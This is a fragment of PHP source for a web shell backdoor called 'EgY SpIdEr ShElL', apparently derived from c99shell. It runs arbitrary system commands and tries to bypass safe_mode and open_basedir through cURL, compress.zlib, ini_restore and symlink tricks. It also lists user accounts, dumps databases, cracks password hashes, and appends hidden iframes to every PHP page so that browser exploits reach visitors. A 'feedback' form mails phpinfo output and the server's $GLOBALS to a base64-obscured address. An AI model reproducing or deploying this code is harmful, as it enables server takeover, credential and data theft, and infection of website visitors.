970 case 'PostgreSQL':
971 $this->dump[0] = '## PostgreSQL dump';
972 if($this->query('SELECT * FROM '.$table)!=1) return 0;
973 if(!$this->get_result()) return 0;
974 for($i=0;$i<$this->num_rows;$i++)
975 {
976 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
977 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
978 }
979 break;
980 case 'Oracle':
981 $this->dump[0] = '## ORACLE dump';
982 if($this->query('SELECT * FROM '.$table)!=1) return 0;
983 if(!$this->get_result()) return 0;
984 for($i=0;$i<$this->num_rows;$i++)
985 {
986 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
987 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
988 }
989 break;
990 case 'MySQLi':
991 $this->dump[0] = '## MySQLi dump';
992 if($this->query('SELECT * FROM '.$table)!=1) return 0;
993 if(!$this->get_result()) return 0;
994 for($i=0;$i<$this->num_rows;$i++)
995 {
996 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysqli_real_escape_string($v);}
997 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
998 }
999 break;
1000 case 'mSQL':
1001 $this->dump[0] = '## mSQL dump';
1002 if($this->query('SELECT * FROM '.$table)!=1) return 0;
1003 if(!$this->get_result()) return 0;
1004 for($i=0;$i<$this->num_rows;$i++)
1005 {
1006 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
1007 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1008 }
1009 break;
1010 case 'SQLite':
1011 $this->dump[0] = '## SQLite dump';
1012 if($this->query('SELECT * FROM '.$table)!=1) return 0;
1013 if(!$this->get_result()) return 0;
1014 for($i=0;$i<$this->num_rows;$i++)
1015 {
1016 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
1017 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
1018 }
1019 break;
1020 default:
1021 return 0;
1022 break;
1023 }
1024 return 1;
1025 }
1026 function close()
1027 {
1028 switch($this->db)
1029 {
1030 case 'MySQL':
1031 @mysql_close($this->connection);
1032 break;
1033 case 'MSSQL':
1034 @mssql_close($this->connection);
1035 break;
1036 case 'PostgreSQL':
1037 @pg_close($this->connection);
1038 break;
1039 case 'Oracle':
1040 @oci_close($this->connection);
1041 break;
1042 case 'MySQLi':
1043 @mysqli_close($this->connection);
1044 break;
1045 case 'mSQL':
1046 @msql_close($this->connection);
1047 break;
1048 case 'SQLite':
1049 @sqlite_close($this->connection);
1050 break;
1051 }
1052 }
1053 function affected_rows()
1054 {
1055 switch($this->db)
1056 {
1057 case 'MySQL':
1058 return @mysql_affected_rows($this->res);
1059 break;
1060 case 'MSSQL':
1061 return @mssql_affected_rows($this->res);
1062 break;
1063 case 'PostgreSQL':
1064 return @pg_affected_rows($this->res);
1065 break;
1066 case 'Oracle':
1067 return @ocirowcount($this->res);
1068 break;
1069 case 'MySQLi':
1070 return @mysqli_affected_rows($this->res);
1071 break;
1072 case 'mSQL':
1073 return @msql_affected_rows($this->res);
1074 break;
1075 case 'SQLite':
1076 return @sqlite_changes($this->res);
1077 break;
1078 default:
1079 return 0;
1080 break;
1081 break;
1082case 'cURL':
1083 if(empty($_POST['egy_spider'])){
1084
1085
1086
1087
1088} else {
1089$curl=$_POST['egy_spider'];
1090$ch =curl_init("file:///".$curl."\x00/../../../../../../../../../../../../".__FILE__);
1091curl_exec($ch);
1092var_dump(curl_exec($ch));
1093echo "</textarea></CENTER>";
1094
1095
1096}
1097break;
1098case 'copy':
1099
1100
1101if(empty($snn)){
1102if(empty($_GET['snn'])){
1103if(empty($_POST['snn'])){
1104
1105
1106} else {
1107$u1p=$_POST['snn'];
1108}
1109} else {
1110$u1p=$_GET['snn'];
1111}
1112}
1113 $u1p=""; // File to Include... or use _GET _POST
1114$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp
1115
1116
1117
1118
1119$temp=tempnam($tymczas, "cx");
1120
1121
1122if(copy("compress.zlib://".$snn, $temp)){
1123$zrodlo = fopen($temp, "r");
1124$tekst = fread($zrodlo, filesize($temp));
1125fclose($zrodlo);
1126echo "".htmlspecialchars($tekst)."";
1127unlink($temp);
1128echo "</textarea></CENTER>";
1129}
1130break;
1131case 'ini_restore':
1132 if(empty($_POST['ini_restore'])){
1133} else {
1134
1135
1136$ini=$_POST['ini_restore'];
1137echo ini_get("safe_mode");
1138echo ini_get("open_basedir");
1139require_once("$ini");
1140ini_restore("safe_mode");
1141ini_restore("open_basedir");
1142echo ini_get("safe_mode");
1143echo ini_get("open_basedir");
1144include($_GET["egy"]);
1145echo "</textarea></CENTER>";
1146}
1147break;
1148case 'glob':
1149function reg_glob()
1150{
1151$chemin=$_REQUEST['glob'];
1152$files = glob("$chemin*");
1153
1154
1155
1156
1157foreach ($files as $filename) {
1158
1159
1160 echo "$filename\n";
1161
1162
1163}
1164}
1165
1166
1167if(isset($_REQUEST['glob']))
1168{
1169reg_glob();
1170}
1171
1172
1173break;
1174 case 'sym1':
1175 if(empty($_POST['sym1p'])){
1176 } else {
1177$symp=$_POST['sym1p'];
1178 }
1179 if(empty($_POST['sym1p2'])){
1180
1181
1182} else {
1183$symp2=$_POST['sym1p2'];
1184
1185
1186 symlink("a/a/a/a/a/a/", "dummy");
1187symlink("dummy".$symp2."".$symp."", "xxx");
1188unlink("dummy");
1189while (1) {
1190symlink(".", "dummy");
1191
1192
1193 }
1194 }
1195 break;
1196 case 'sym2':
1197 @include(xxx);
1198
1199
1200 break;
1201 case 'plugin':
1202 if ($_POST['plugin'] ){
1203
1204
1205
1206
1207 for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
1208 $ara = posix_getpwuid($uid);
1209 if (!empty($ara)) {
1210 while (list ($key, $val) = each($ara)){
1211 print "$val:";
1212 }
1213 print "\n";
1214 }
1215 }
1216 echo "</textarea>";
1217 }
1218
1219
1220 }
1221 }
1222 }
1223if(isset($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
1224 {
1225 if($file=moreread($_POST['d_name'])){ $filedump = $file; }
1226 else if ($file=readzlib($_POST['d_name'])) { $filedump = $file; } else { err(1,$_POST['d_name']); $_POST['cmd']=""; }
1227 if(!empty($_POST['cmd']))
1228 {
1229 @ob_clean();
1230 $filename = @basename($_POST['d_name']);
1231 $content_encoding=$mime_type='';
1232 compress($filename,$filedump,$_POST['compress']);
1233 if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
1234 header("Content-type: ".$mime_type);
1235 header("Content-disposition: attachment; filename=\"".$filename."\";");
1236 echo $filedump;
1237 exit();
1238 }
1239 }
1240if(isset($_GET['1'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); }
1241if (isset($_POST['cmd']) && $_POST['cmd']=="db_query")
1242 {
1243 echo $head;
1244 $sql = new my_sql();
1245 $sql->db = $_POST['db'];
1246 $sql->host = $_POST['db_server'];
1247 $sql->port = $_POST['db_port'];
1248 $sql->user = $_POST['mysql_l'];
1249 $sql->pass = $_POST['mysql_p'];
1250 $sql->base = $_POST['mysql_db'];
1251 $querys = @explode(';',$_POST['db_query']);
1252 echo '<body bgcolor=#e4e0d8>';
1253 if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
1254 else
1255 {
1256 if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
1257 else
1258 {
1259 foreach($querys as $num=>$query)
1260 {
1261 if(strlen($query)>5)
1262 {
1263 echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
1264 switch($sql->query($query))
1265 {
1266 case '0':
1267 echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
1268 break;
1269 case '1':
1270 if($sql->get_result())
1271 {
1272 echo "<table width=100%>";
1273 foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
1274 $keys = @implode(" </b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b> ", $sql->columns);
1275 echo "<tr><td bgcolor=#333333><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
1276 for($i=0;$i<$sql->num_rows;$i++)
1277 {
1278 foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
1279 $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]);
1280 echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>';
1281 }
1282 echo "</table>";
1283 }
1284 break;
1285 case '2':
1286 $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
1287 echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
1288 break;
1289 }
1290 }
1291 }
1292 }
1293 }
1294 echo "<br><form name=form method=POST>";
1295 echo in('hidden','db',0,$_POST['db']);
1296 echo in('hidden','db_server',0,$_POST['db_server']);
1297 echo in('hidden','db_port',0,$_POST['db_port']);
1298 echo in('hidden','mysql_l',0,$_POST['mysql_l']);
1299 echo in('hidden','mysql_p',0,$_POST['mysql_p']);
1300 echo in('hidden','mysql_db',0,$_POST['mysql_db']);
1301 echo in('hidden','cmd',0,'db_query');
1302 echo "<div align=center>";
1303 echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
1304 echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
1305 echo "</form>";
1306 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die();
1307 }
1308if(isset($_GET['12']))
1309 {
1310 @unlink(__FILE__);
1311 }
1312if(isset($_GET['11']))
1313 {
1314 @unlink($tempdir.'bdpl');
1315 @unlink($tempdir.'back');
1316 @unlink($tempdir.'bd');
1317 @unlink($tempdir.'bd.c');
1318 @unlink($tempdir.'dp');
1319 @unlink($tempdir.'dpc');
1320 @unlink($tempdir.'dpc.c');
1321 @unlink($tempdir.'prxpl');
1322 @unlink($tempdir.'grep.txt');
1323 }
1324if(isset($_GET['2']))
1325{
1326echo $head;
1327function U_value($value)
1328 {
1329 if ($value == '') return '<i>no value</i>';
1330 if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
1331 if ($value === null) return 'NULL';
1332 if (@is_object($value)) $value = (array) $value;
1333 if (@is_array($value))
1334 {
1335 @ob_start();
1336 print_r($value);
1337 $value = @ob_get_contents();
1338 @ob_end_clean();
1339 }
1340 return U_wordwrap((string) $value);
1341 }
1342function U_wordwrap($str)
1343 {
1344 $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
1345 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
1346 }
1347if (@function_exists('ini_get_all'))
1348 {
1349 $r = '';
1350 echo '<table width=100%>', '<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
1351 foreach (@ini_get_all() as $key=>$value)
1352 {
1353 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
1354 }
1355 echo $r;
1356 echo '</table>';
1357 }
1358echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
1359die();
1360}
1361if(isset($_GET['3']))
1362 {
1363 echo $head;
1364 echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
1365 $cpuf = @file("cpuinfo");
1366 if($cpuf)
1367 {
1368 $c = @sizeof($cpuf);
1369 for($i=0;$i<$c;$i++)
1370 {
1371 $info = @explode(":",$cpuf[$i]);
1372 if($info[1]==""){ $info[1]="---"; }
1373 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
1374 }
1375 echo $r;
1376 }
1377 else
1378 {
1379 echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
1380 }
1381 echo '</table>';
1382 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
1383 die();
1384 }
1385if(isset($_GET['4']))
1386 {
1387 echo $head;
1388 echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
1389 $memf = @file("meminfo");
1390 if($memf)
1391 {
1392 $c = sizeof($memf);
1393 for($i=0;$i<$c;$i++)
1394 {
1395 $info = explode(":",$memf[$i]);
1396 if($info[1]==""){ $info[1]="---"; }
1397 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
1398 }
1399 echo $r;
1400 }
1401 else
1402 {
1403 echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
1404 }
1405 echo '</table>';
1406 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
1407 die();
1408 }
1409
1410
1411
1412
1413 if(isset($_GET['tool'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); }
1414 if(isset($_GET['tools'])) { /*###########################################
1415code 2
1416###########################################*/
1417?>
1418<html>
1419<head><title>EgY SpIdEr ShElL</title></head>
1420<STYLE>
1421
1422
1423BODY
1424 {
1425 SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
1426}
1427
1428
1429table {
1430BORDER: #eeeeee outset;
1431BACKGROUND-COLOR: #000000;
1432color: #dadada;
1433}
1434input {
1435BORDER-RIGHT: #00FF00 1 solid;
1436BORDER-TOP: #00FF00 1 solid;
1437BORDER-LEFT: #00FF00 1 solid;
1438BORDER-BOTTOM: #00FF00 1 solid;
1439BACKGROUND-COLOR: #333333;
1440font: 9pt tahoma;
1441color: #ffffff;
1442}
1443
1444
1445submit {
1446BORDER: buttonhighlight 1 outset;
1447BACKGROUND-COLOR: #272727;
1448width: 40%;
1449color: #dadada;
1450}
1451textarea {
1452BORDER-RIGHT: #ffffff 1 solid;
1453BORDER-TOP: #999999 1 solid;
1454BORDER-LEFT: #999999 1 solid;
1455BORDER-BOTTOM: #ffffff 1 solid;
1456BACKGROUND-COLOR: #333333;
1457font: Fixedsys bold;
1458color: #ffffff;
1459}
1460BODY {
1461margin: 1;
1462color: #dadada;
1463background-color: #000000;
1464}
1465A:link {COLOR:red; TEXT-DECORATION: none}
1466A:visited { COLOR:red; TEXT-DECORATION: none}
1467A:active {COLOR:red; TEXT-DECORATION: none}
1468A:hover {color:blue;TEXT-DECORATION: none}
1469
1470
1471</STYLE>
1472</body>
1473</html>
1474<?
1475$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();
1476$sf="<form method=post>";$ef="</form>";
1477$st="<table style=\"border:1px #dadada solid \" width=100% height=100%>";
1478$et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">";
1479$c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>";
1480$sta="<textarea cols=157 rows=23>";$eta="</textarea>";
1481$sfnt="<font face=tahoma size=2 color=#008080>";$efnt="</font>";
1482error_reporting(0);
1483set_magic_quotes_runtime(0);
1484
1485
1486if(version_compare(phpversion(), '4.1.0') == -1)
1487 {$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS;
1488 $_SERVER = &$HTTP_SERVER_VARS;
1489 }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"];
1490if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}
1491elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;}
1492else{return $requ."?".$link."=".$val;}}
1493function delm($delmtxt){print"<center><table bgcolor=black style='border:1px solid olive' width=99% height=2%>";print"<tr><td><b><center><font size=2 color=olive>$delmtxt</td></tr></table></center>";}
1494function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd);
1495$nscmd=htmlspecialchars($scmd);print $nscmd;}
1496elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd);
1497$ecmd = join("\n",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;}
1498elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r");
1499while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));;
1500print $res;}pclose($pcmd);}elseif(!function_exists(popen)){
1501ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){
1502ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean();
1503print htmlspecialchars($pret);}}
1504function input($type,$name,$value,$size)
1505{if (empty($value)){print "<input type=$type name=$name size=$size>";}
1506elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";}
1507elseif(empty($size)){print "<input type=$type name=$name value=$value >";}
1508else {print "<input type=$type name=$name value=$value size=$size >";}}
1509function permcol($path){if (is_writable($path)){print "<font color=olive>";
1510callperms($path); print "</font>";}
1511elseif (!is_readable($path)&&!is_writable($path)){print "<font color=red>";
1512callperms($path); print "</font>";}
1513else {print "<font color=white>";callperms($path);}}
1514if ($dlink=="dwld"){download($_REQUEST['dwld']);}
1515function download($dwfile) {$size = filesize($dwfile);
1516@header("Content-Type: application/force-download;name=$dwfile");
1517@header("Content-Transfer-Encoding: binary");
1518@header("Content-Length: $size");
1519@header("Content-Disposition: attachment; filename=$dwfile");
1520@header("Expires: 0");
1521@header("Cache-Control: no-cache, must-revalidate");
1522@header("Pragma: no-cache");
1523@readfile($dwfile); exit;}
1524?>
1525<?
1526$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();
1527
1528
1529$sf="<form method=post>";$ef="</form>";
1530$st="<table style=\"border:1px #dadada solid \" width=100% height=100%>";
1531$et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">";
1532$c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>";
1533$sta="<textarea cols=157 rows=23>";$eta="</textarea>";
1534$sfnt="<font face=tahoma size=2 color=olive>";$efnt="</font>";
1535################# Ending of common variables ########################
1536
1537
1538print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<b><center><font face=tahoma color=white size=4>
1539</font></b></center>"; print"</td></tr>";print"</table>";print "<br>";
1540print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<center><div><b>";print "";
1541
1542
1543if ($act == 'encoder')
1544{
1545 echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
1546 foreach(array("md5","crypt","sha1","crc32") as $v)
1547 {
1548 echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
1549 }
1550 echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
1551 <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
1552 <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
1553 echo "<center>base64_decode - ";
1554 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
1555 else
1556 {
1557 $debase64 = base64_decode($encoder_input);
1558 $debase64 = str_replace("\0","[0]",$debase64);
1559 $a = explode("\r\n",$debase64);
1560 $rows = count($a);
1561 $debase64 = htmlspecialchars($debase64);
1562 if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
1563 else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
1564 echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
1565 }
1566 echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
1567 $c = strlen($encoder_input);
1568 for($i=0;$i<$c;$i++)
1569 {
1570 $hex = dechex(ord($encoder_input[$i]));
1571 if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
1572 elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
1573 }
1574 echo "\" readonly><br></form>";
1575
1576
1577?>
1578</center>
1579<br><br>
1580<table border=0 align=center cellpadding=4>
1581<tr><td>
1582<center><b>Search milw0rm for MD5 hash</b></center>
1583</td><td>
1584<center><b>Search md5encryption.com for MD5 or SHA1 hash</b></center>
1585</td><td>
1586<center><b>Search CsTeam for MD5 hash</b></center>
1587</td></tr>
1588<tr><td>
1589<center>
1590<form target="_blank" action="http://www.milw0rm.com/cracker/search.php" method=POST>
1591<input type=text size=40 name=hash> <input type=submit value="Submit"></form>
1592</center>
1593</td><td>
1594<center>
1595<form target="_blank" action="http://www.md5encryption.com/?mod=decrypt" method=POST>
1596<input type=text size=40 name=hash2word> <input type=submit value="Submit"></form>
1597</center>
1598</td><td>
1599<center>
1600<form target="_blank" action="http://www.csthis.com/md5/index.php" method=POST>
1601<input type=text size=40 name=h> <input type=submit value="Submit"></form>
1602</center>
1603</td></tr>
1604</table>
1605<br>
1606<center>
1607<?php
1608// my wordlist cracker ^_^
1609if (isset($_GET['hash']) && isset($_GET['wordlist']) && ($_GET['type'] == 'md5' || $_GET['type'] == 'sha1')) {
1610 $type = $_GET['type'];
1611 $hash = $_GET['hash'];
1612 $count = 1;
1613 $wordlist = file($_GET['wordlist']);
1614 $words = count($wordlist);
1615 foreach ($wordlist as $word) {
1616 echo $count.' of '.$words.': '.$word.'<br>';
1617 if ($hash == $type(rtrim($word))) {
1618 echo '<font color=red>Great success! The password is: '.$word.'</font><br>';
1619 exit;
1620 }
1621 ++$count;
1622 }
1623}
1624
1625
1626}
1627if ($act == 'fsbuff')
1628{
1629 $arr_copy = $sess_data["copy"];
1630 $arr_cut = $sess_data["cut"];
1631 $arr = array_merge($arr_copy,$arr_cut);
1632 if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
1633 else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
1634}
1635if ($act == "selfremove")
1636{
1637 if (($submit == $rndcode) and ($submit != ""))
1638 {
1639 if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); }
1640 else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
1641 }
1642 else
1643 {
1644 if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
1645 $rnd = rand(0,9).rand(0,9).rand(0,9);
1646 echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"YES\"></form>";
1647 }
1648}
1649if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}
1650if ($act == "feedback")
1651{
1652 $suppmail = base64_decode("ZWd5X3NwaWRlckBob3RtYWlsLmNvbQ==");
1653 if (!empty($submit))
1654 {
1655 $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
1656 $body = "egy_spider v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\nE-server: ".htmlspecialchars($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars($_SERVER["SERVER_NAME"])."\n\nIP: ".$REMOTE_ADDR;
1657 if (!empty($fdbk_ref))
1658 {
1659 $tmp = @ob_get_contents();
1660 ob_clean();
1661 phpinfo();
1662 $phpinfo = base64_encode(ob_get_contents());
1663 ob_clean();
1664 echo $tmp;
1665 $body .= "\ni"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
1666 }
1667 mail($suppmail,"egy_spider v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
1668 echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
1669 }
1670 else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>If you want to send a request for any help I know I will respond to you in case <br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: Arbic, English.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
1671}
1672
1673
1674if ($act == 'massbrowsersploit') {
1675?>
1676<b>Mass Code Injection:</b><br><br>
1677Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br>
1678<form action="<?php echo $surl; ?>" method=GET>
1679<input type=hidden name="masssploit" value="goahead">
1680<input type=hidden name="act" value="massbrowsersploit">
1681<table border=0>
1682<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
1683<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<IFRAME src="http://www.egyspider.eu" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr>
1684<tr><td><input type=submit value="Inject Code"></td></tr>
1685</table>
1686</form>
1687<?php
1688if ($_GET['masssploit'] == 'goahead') {
1689 if (is_dir($_GET['pathtomass'])) {
1690 $lolinject = $_GET['injectthis'];
1691 foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) {
1692 $fp=fopen($injectj00,"a+");
1693 if (fputs($fp,$lolinject)){
1694 echo $injectj00.' was injected<br>';
1695 } else {
1696 echo '<font color=red>failed to inject '.$injectj00.'</font>';
1697 }
